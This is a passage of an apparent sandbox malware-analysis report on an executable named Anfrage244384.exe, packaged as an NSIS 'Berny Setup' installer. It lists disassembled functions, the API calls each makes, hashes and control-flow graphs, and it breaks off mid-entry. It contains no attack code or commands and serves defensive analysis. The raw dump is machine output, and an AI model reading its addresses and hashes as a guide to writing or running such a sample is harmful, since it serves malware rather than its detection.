                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: TextWindow
                                                          • String ID: "C:\Users\user\Desktop\Anfrage244384.exe"$1033$Berny Setup
                                                          • API String ID: 530164218-3482721306
                                                          • Opcode ID: 96401226afcf46c978deea678981fff0f7e57d07aa73fd903f01d42c88786375
                                                          • Instruction ID: b04f25c42bae21d45f40ba66b929719106617fb277c5c9e4054ff8f425243e64
                                                          • Opcode Fuzzy Hash: 96401226afcf46c978deea678981fff0f7e57d07aa73fd903f01d42c88786375
                                                          • Instruction Fuzzy Hash: 1811A431B005109BC720EF55DC8097777ACEF94759758813BE841A7391D6399D038E68
                                                          Function 00405835 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • lstrlenA.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00403190,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403393), ref: 0040583B
                                                          • CharPrevA.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,00403190,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403393), ref: 00405844
                                                          • lstrcatA.KERNEL32(?,0040A014), ref: 00405855
                                                          Strings
                                                          • C:\Users\user\AppData\Local\Temp\, xrefs: 00405835
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: CharPrevlstrcatlstrlen
                                                          • String ID: C:\Users\user\AppData\Local\Temp\
                                                          • API String ID: 2659869361-3081826266
                                                          • Opcode ID: 178b6ada5e076015f485ca613ecf1787b7cf1381da79526f7687ddfe4de49248
                                                          • Instruction ID: 43d0cd13a6a684b33c4c302d476afec45ae212270d2ea225269fd4ac386bbf9e
                                                          • Opcode Fuzzy Hash: 178b6ada5e076015f485ca613ecf1787b7cf1381da79526f7687ddfe4de49248
                                                          • Instruction Fuzzy Hash: 46D0A9A2201A302AE20237158C09ECB2A08CF12316B04803BF202B21A1CA7D0D428BFE
                                                          Function 00402C96 Relevance: 6.0, APIs: 4, Instructions: 33COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • DestroyWindow.USER32(00000000,00000000,00402E76,00000001), ref: 00402CA9
                                                          • GetTickCount.KERNEL32 ref: 00402CC7
                                                          • CreateDialogParamA.USER32(0000006F,00000000,00402C13,00000000), ref: 00402CE4
                                                          • ShowWindow.USER32(00000000,00000005), ref: 00402CF2
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: Window$CountCreateDestroyDialogParamShowTick
                                                          • String ID:
                                                          • API String ID: 2102729457-0
                                                          • Opcode ID: 7c95322a2218cd30271dcbbb025a48105d342dcc5512f67fa7608e428122dd6b
                                                          • Instruction ID: 83d2969b76bdb5b590415ddeb9dbf6a67b394939c3bc7fdf3e8ca1fe09a6ce6e
                                                          • Opcode Fuzzy Hash: 7c95322a2218cd30271dcbbb025a48105d342dcc5512f67fa7608e428122dd6b
                                                          • Instruction Fuzzy Hash: 4CF05E31605620ABD6217B20FF0C99F7BA4B714B45B81057EF045B21F8CB7818868B9C
                                                          Function 00405923 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46stringCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 00405DC3: lstrcpynA.KERNEL32(?,?,00000400,00403251,Berny Setup,NSIS Error), ref: 00405DD0
                                                            • Part of subcall function 004058CE: CharNextA.USER32(?,?,0042BC70,?,0040593A,0042BC70,0042BC70,74DF3410,?,C:\Users\user\AppData\Local\Temp\,00405685,?,74DF3410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004058DC
                                                            • Part of subcall function 004058CE: CharNextA.USER32(00000000), ref: 004058E1
                                                            • Part of subcall function 004058CE: CharNextA.USER32(00000000), ref: 004058F5
                                                          • lstrlenA.KERNEL32(0042BC70,00000000,0042BC70,0042BC70,74DF3410,?,C:\Users\user\AppData\Local\Temp\,00405685,?,74DF3410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405976
                                                          • GetFileAttributesA.KERNEL32(0042BC70,0042BC70,0042BC70,0042BC70,0042BC70,0042BC70,00000000,0042BC70,0042BC70,74DF3410,?,C:\Users\user\AppData\Local\Temp\,00405685,?,74DF3410,C:\Users\user\AppData\Local\Temp\), ref: 00405986
                                                          Strings
                                                          • C:\Users\user\AppData\Local\Temp\, xrefs: 00405923
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: CharNext$AttributesFilelstrcpynlstrlen
                                                          • String ID: C:\Users\user\AppData\Local\Temp\
                                                          • API String ID: 3248276644-3081826266
                                                          • Opcode ID: 2dd11022cd3804a0f23826d58d53fd3ba18c85e64f763ac6aee612c12e1a2a27
                                                          • Instruction ID: 92543aceb9d73041788eed49261eabef0250a74612a1112b20cd45f7194ba1aa
                                                          • Opcode Fuzzy Hash: 2dd11022cd3804a0f23826d58d53fd3ba18c85e64f763ac6aee612c12e1a2a27
                                                          • Instruction Fuzzy Hash: 2FF0F466104E51A2C222333A1C09E9F0A18CE43374719453FFCA1B62C2DB3C8D569DBE
                                                          Function 004036AE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • FreeLibrary.KERNEL32(?,74DF3410,00000000,C:\Users\user\AppData\Local\Temp\,00403686,004034A0,?), ref: 004036C8
                                                          • GlobalFree.KERNEL32(004FE100), ref: 004036CF
                                                          Strings
                                                          • C:\Users\user\AppData\Local\Temp\, xrefs: 004036AE
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: Free$GlobalLibrary
                                                          • String ID: C:\Users\user\AppData\Local\Temp\
                                                          • API String ID: 1100898210-3081826266
                                                          • Opcode ID: 1bad914f96c97a74accc372815b9fc60e9a0461e25a509c21ecbd9517d8462b1
                                                          • Instruction ID: 9fca1652fb000c4b705c35b2fab9dc87deb0b29542395ee28e6d3d9d92831ef3
                                                          • Opcode Fuzzy Hash: 1bad914f96c97a74accc372815b9fc60e9a0461e25a509c21ecbd9517d8462b1
                                                          • Instruction Fuzzy Hash: B8E08C32A2102067CA312F54EE0472A7BAC6F49B22F09046AE9807B3608B755C424BCC
                                                          Function 0040587C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • lstrlenA.KERNEL32(80000000,C:\Users\user\Desktop,00402D66,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Anfrage244384.exe,C:\Users\user\Desktop\Anfrage244384.exe,80000000,00000003), ref: 00405882
                                                          • CharPrevA.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402D66,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Anfrage244384.exe,C:\Users\user\Desktop\Anfrage244384.exe,80000000,00000003), ref: 00405890
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: CharPrevlstrlen
                                                          • String ID: C:\Users\user\Desktop
                                                          • API String ID: 2709904686-224404859
                                                          • Opcode ID: a9e0b15de56eef468385f8c6f647f59dc691c576a1137d19596c50b040f8bf1b
                                                          • Instruction ID: 2ed5ef101b5713daa1f548366255804a524b1aabb415f21906ff2d2d9e5555c3
                                                          • Opcode Fuzzy Hash: a9e0b15de56eef468385f8c6f647f59dc691c576a1137d19596c50b040f8bf1b
                                                          • Instruction Fuzzy Hash: C3D0A763408D701EF30363108C04B9F7A48DF12300F0940B2E481A2190C6BC0C424BBD
                                                          Function 100010E0 Relevance: 5.1, APIs: 4, Instructions: 102memoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GlobalAlloc.KERNEL32(00000040,?), ref: 1000115B
                                                          • GlobalFree.KERNEL32(00000000), ref: 100011B4
                                                          • GlobalFree.KERNEL32(?), ref: 100011C7
                                                          • GlobalFree.KERNEL32(?), ref: 100011F5
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1928216941.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000000.00000002.1928204530.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          • Associated: 00000000.00000002.1928228736.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          • Associated: 00000000.00000002.1928240548.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_10000000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: Global$Free$Alloc
                                                          • String ID:
                                                          • API String ID: 1780285237-0
                                                          • Opcode ID: 6ef9e3687ab983c99c874163fdcc0ee6cc2800f994ca68b8431a209e6fec97f5
                                                          • Instruction ID: 5d3a3765e571093bf703368c32e31ec5bfeafbef09712c331e02e9e13643e521
                                                          • Opcode Fuzzy Hash: 6ef9e3687ab983c99c874163fdcc0ee6cc2800f994ca68b8431a209e6fec97f5
                                                          • Instruction Fuzzy Hash: 6531ABB1808255AFF715CFA8DC89AEA7FE8EB052C1B164115FA45D726CDB34D910CB24
                                                          Function 0040599B Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405BF8,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004059AB
                                                          • lstrcmpiA.KERNEL32(00000000,00000000), ref: 004059C3
                                                          • CharNextA.USER32(00000000,?,00000000,00405BF8,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004059D4
                                                          • lstrlenA.KERNEL32(00000000,?,00000000,00405BF8,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004059DD
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: lstrlen$CharNextlstrcmpi
                                                          • String ID:
                                                          • API String ID: 190613189-0
                                                          • Opcode ID: a2c52c9a51a2c87d3959497fa160f4ebe8f2eb417ab2d749973a894cf6308a94
                                                          • Instruction ID: a6643053d284366244d0af05be0bd1f2da836f60db037e8ed7330f0f38b612ff
                                                          • Opcode Fuzzy Hash: a2c52c9a51a2c87d3959497fa160f4ebe8f2eb417ab2d749973a894cf6308a94
                                                          • Instruction Fuzzy Hash: D6F06232105918EFD7029BA5DD0099FBBA8EF16360B2540BAE840F7210D674DE019BA9

                                                          Execution Graph

                                                          Execution Coverage:0%
                                                          Dynamic/Decrypted Code Coverage:100%
                                                          Signature Coverage:100%
                                                          Total number of Nodes:1
                                                          Total number of Limit Nodes:0
                                                          execution_graph 78715 34ed2c70 LdrInitializeThunk

                                                          Executed Functions

                                                          Function 34ED35C0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 1 34ed35c0-34ed35cc LdrInitializeThunk
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: InitializeThunk
                                                          • String ID:
                                                          • API String ID: 2994545307-0
                                                          • Opcode ID: 6dc158d7a5bbcb6585e8dc9f3d7b64e777a4ef16b23297224277e91bef38ea92
                                                          • Instruction ID: 393db143c570013cbddc4b9b9dd445c4c1d12aae053fbb3bf4100966da139082
                                                          • Opcode Fuzzy Hash: 6dc158d7a5bbcb6585e8dc9f3d7b64e777a4ef16b23297224277e91bef38ea92
                                                          • Instruction Fuzzy Hash: D9900231A0550402D1407158451571610055BD0205F65C412A0865628D8795CA9575E2
                                                          Function 34ED2C70 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 0 34ed2c70-34ed2c7c LdrInitializeThunk
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: InitializeThunk
                                                          • String ID:
                                                          • API String ID: 2994545307-0
                                                          • Opcode ID: d93a37ecc5c92ee39ae7cccfd9bac4ea3addadf9e8bd4c7eefb1de7193dd32d0
                                                          • Instruction ID: c3a79a403ec6b7fddc3fd6debb12d7c37540de3661b7490671600c8b7829e30f
                                                          • Opcode Fuzzy Hash: d93a37ecc5c92ee39ae7cccfd9bac4ea3addadf9e8bd4c7eefb1de7193dd32d0
                                                          • Instruction Fuzzy Hash: 8E90023160148802D1507158840575A00055BD0305F59C412A4865718D8695C9D57161

                                                          Non-executed Functions

                                                          Function 34F4FCAB Relevance: 31.4, Strings: 25, Instructions: 195COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 95 34f4fcab-34f4fcc3 GetPEB 96 34f4fcc5-34f4fce0 GetPEB call 34e8b970 95->96 97 34f4fce2-34f4fce3 call 34e8b970 95->97 101 34f4fce8-34f4fd0a call 34e8b970 96->101 97->101 104 34f4fd81-34f4fd8a GetPEB 101->104 105 34f4fd0c 101->105 122 34f4fd8c-34f4fda7 GetPEB call 34e8b970 104->122 123 34f4fda9-34f4fdaa call 34e8b970 104->123 106 34f4fd75-34f4fd7a 105->106 107 34f4fd36-34f4fd3b 105->107 108 34f4fd52-34f4fd57 105->108 109 34f4fd13-34f4fd18 105->109 110 34f4fd7c 105->110 111 34f4fd3d-34f4fd42 105->111 112 34f4fd59-34f4fd5e 105->112 113 34f4fd1a-34f4fd1f 105->113 114 34f4fd44-34f4fd49 105->114 115 34f4fd67-34f4fd6c 105->115 116 34f4fd60-34f4fd65 105->116 117 34f4fd21-34f4fd26 105->117 118 34f4fd6e-34f4fd73 105->118 119 34f4fd2f-34f4fd34 105->119 120 34f4fd28-34f4fd2d 105->120 121 34f4fd4b-34f4fd50 105->121 106->104 107->104 108->104 109->104 110->104 111->104 112->104 113->104 114->104 115->104 116->104 117->104 118->104 119->104 120->104 121->104 127 34f4fdaf-34f4fdca call 34e8b970 122->127 123->127 130 34f4fdcc-34f4fdd5 GetPEB 127->130 131 34f4fe0d-34f4fe13 127->131 134 34f4fdf4-34f4fdf5 call 34e8b970 130->134 135 34f4fdd7-34f4fdf2 GetPEB call 34e8b970 130->135 132 34f4fe15-34f4fe1e GetPEB 131->132 133 34f4fe56-34f4fe5c 131->133 138 34f4fe20-34f4fe3b GetPEB call 34e8b970 132->138 139 34f4fe3d-34f4fe3e call 34e8b970 132->139 140 34f4fe5e-34f4fe67 GetPEB 133->140 141 34f4fe9f-34f4fea5 133->141 149 34f4fdfa-34f4fe0c call 34e8b970 134->149 135->149 155 34f4fe43-34f4fe55 call 34e8b970 138->155 139->155 147 34f4fe86-34f4fe87 call 34e8b970 140->147 148 34f4fe69-34f4fe84 GetPEB call 34e8b970 140->148 143 34f4fea7-34f4fead 141->143 144 34f4feaf-34f4feb8 GetPEB 141->144 143->144 150 34f4fef7-34f4ff00 GetPEB 143->150 151 34f4fed7-34f4fed8 call 34e8b970 144->151 152 34f4feba-34f4fed5 GetPEB call 34e8b970 144->152 158 34f4fe8c-34f4fe9e call 34e8b970 147->158 148->158 149->131 164 34f4ff02-34f4ff1d GetPEB call 34e8b970 150->164 165 34f4ff1f-34f4ff20 call 34e8b970 150->165 168 34f4fedd-34f4fef4 call 34e8b970 151->168 152->168 155->133 158->141 174 34f4ff25-34f4ff3a call 34e8b970 164->174 165->174 168->150
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: Error code: %d - %s$HEAP: $HEAP[%wZ]: $Heap error detected at %p (heap handle %p)$Last known valid blocks: before - %p, after - %p$Parameter1: %p$Parameter2: %p$Parameter3: %p$Stack trace available at %p$heap_failure_block_not_busy$heap_failure_buffer_overrun$heap_failure_buffer_underrun$heap_failure_cross_heap_operation$heap_failure_entry_corruption$heap_failure_freelists_corruption$heap_failure_generic$heap_failure_internal$heap_failure_invalid_allocation_type$heap_failure_invalid_argument$heap_failure_lfh_bitmap_mismatch$heap_failure_listentry_corruption$heap_failure_multiple_entries_corruption$heap_failure_unknown$heap_failure_usage_after_free$heap_failure_virtual_block_corruption
                                                          • API String ID: 0-2897834094
                                                          • Opcode ID: 33ff944d4fb25a2a5679e8916d1db6f7334713f5b6b7100c410577e161e8014f
                                                          • Instruction ID: f932cdee09f5bfc0a5f3c504d6de96d62fccf006f09779308801fb1415149b4c
                                                          • Opcode Fuzzy Hash: 33ff944d4fb25a2a5679e8916d1db6f7334713f5b6b7100c410577e161e8014f
                                                          • Instruction Fuzzy Hash: E5619373A21241DFEA019F54D441D3077B4EB08E71B0D489AF81C9F762EE35DC828E69
                                                          Function 34F394E0 Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 558timeCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 553 34f394e0-34f39529 554 34f3952b-34f39530 553->554 555 34f39578-34f39587 553->555 556 34f39534-34f3953a 554->556 555->556 557 34f39589-34f3958e 555->557 559 34f39540-34f39564 call 34ed9020 556->559 560 34f39695-34f396bd call 34ed9020 556->560 558 34f39d13-34f39d27 call 34ed4c30 557->558 569 34f39593-34f39634 GetPEB call 34f3dc65 559->569 570 34f39566-34f39573 call 34f5972b 559->570 567 34f396bf-34f396da call 34f39d2a 560->567 568 34f396dc-34f39712 560->568 573 34f39714-34f39716 567->573 568->573 580 34f39652-34f39667 569->580 581 34f39636-34f39644 569->581 579 34f3967d-34f39690 RtlDebugPrintTimes 570->579 573->558 578 34f3971c-34f39731 RtlDebugPrintTimes 573->578 578->558 587 34f39737-34f3973e 578->587 579->558 580->579 583 34f39669-34f3966e 580->583 581->580 582 34f39646-34f3964b 581->582 582->580 585 34f39673-34f39676 583->585 586 34f39670 583->586 585->579 586->585 587->558 589 34f39744-34f3975f 587->589 590 34f39763-34f39774 call 34f3a808 589->590 593 34f39d11 590->593 594 34f3977a-34f3977c 590->594 593->558 594->558 595 34f39782-34f39789 594->595 596 34f3978f-34f39794 595->596 597 34f398fc-34f39902 595->597 598 34f39796-34f3979c 596->598 599 34f397bc 596->599 600 34f39908-34f39937 call 34ed9020 597->600 601 34f39a9c-34f39aa2 597->601 598->599 602 34f3979e-34f397b2 598->602 603 34f397c0-34f39811 call 34ed9020 RtlDebugPrintTimes 599->603 618 34f39970-34f39985 600->618 619 34f39939-34f39944 600->619 605 34f39af4-34f39af9 601->605 606 34f39aa4-34f39aad 601->606 609 34f397b4-34f397b6 602->609 610 34f397b8-34f397ba 602->610 603->558 645 34f39817-34f3981b 603->645 607 34f39ba8-34f39bb1 605->607 608 34f39aff-34f39b07 605->608 606->590 613 34f39ab3-34f39aef call 34ed9020 606->613 607->590 617 34f39bb7-34f39bba 607->617 614 34f39b13-34f39b3d call 34f38513 608->614 615 34f39b09-34f39b0d 608->615 609->603 610->603 631 34f39ce9 613->631 642 34f39b43-34f39b9e call 34ed9020 RtlDebugPrintTimes 614->642 643 34f39d08-34f39d0c 614->643 615->607 615->614 625 34f39bc0-34f39c0a 617->625 626 34f39c7d-34f39cb4 call 34ed9020 617->626 622 34f39991-34f39998 618->622 623 34f39987-34f39989 618->623 627 34f39946-34f3994d 619->627 628 34f3994f-34f3996e 619->628 635 34f399bd-34f399bf 622->635 633 34f3998b-34f3998d 623->633 634 34f3998f 623->634 629 34f39c11-34f39c1e 625->629 630 34f39c0c 625->630 655 34f39cb6 626->655 656 34f39cbb-34f39cc2 626->656 627->628 632 34f399d9-34f399f6 RtlDebugPrintTimes 628->632 639 34f39c20-34f39c23 629->639 640 34f39c2a-34f39c2d 629->640 630->629 641 34f39ced 631->641 632->558 659 34f399fc-34f39a1f call 34ed9020 632->659 633->622 634->622 646 34f399c1-34f399d7 635->646 647 34f3999a-34f399a4 635->647 639->640 650 34f39c39-34f39c7b 640->650 651 34f39c2f-34f39c32 640->651 649 34f39cf1-34f39d06 RtlDebugPrintTimes 641->649 642->558 686 34f39ba4 642->686 643->590 657 34f3986b-34f39880 645->657 658 34f3981d-34f39825 645->658 646->632 652 34f399a6 647->652 653 34f399ad 647->653 649->558 649->643 650->649 651->650 652->646 661 34f399a8-34f399ab 652->661 663 34f399af-34f399b1 653->663 655->656 664 34f39cc4-34f39ccb 656->664 665 34f39ccd 656->665 660 34f39886-34f39894 657->660 666 34f39852-34f39869 658->666 667 34f39827-34f39850 call 34f38513 658->667 683 34f39a21-34f39a3b 659->683 684 34f39a3d-34f39a58 659->684 669 34f39898-34f398ef call 34ed9020 RtlDebugPrintTimes 660->669 661->663 671 34f399b3-34f399b5 663->671 672 34f399bb 663->672 673 34f39cd1-34f39cd7 664->673 665->673 666->660 667->669 669->558 689 34f398f5-34f398f7 669->689 671->672 679 34f399b7-34f399b9 671->679 672->635 680 34f39cd9-34f39cdc 673->680 681 34f39cde-34f39ce4 673->681 679->635 680->631 681->641 682 34f39ce6 681->682 682->631 687 34f39a5d-34f39a8b RtlDebugPrintTimes 683->687 684->687 686->607 687->558 691 34f39a91-34f39a97 687->691 689->643 691->617
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
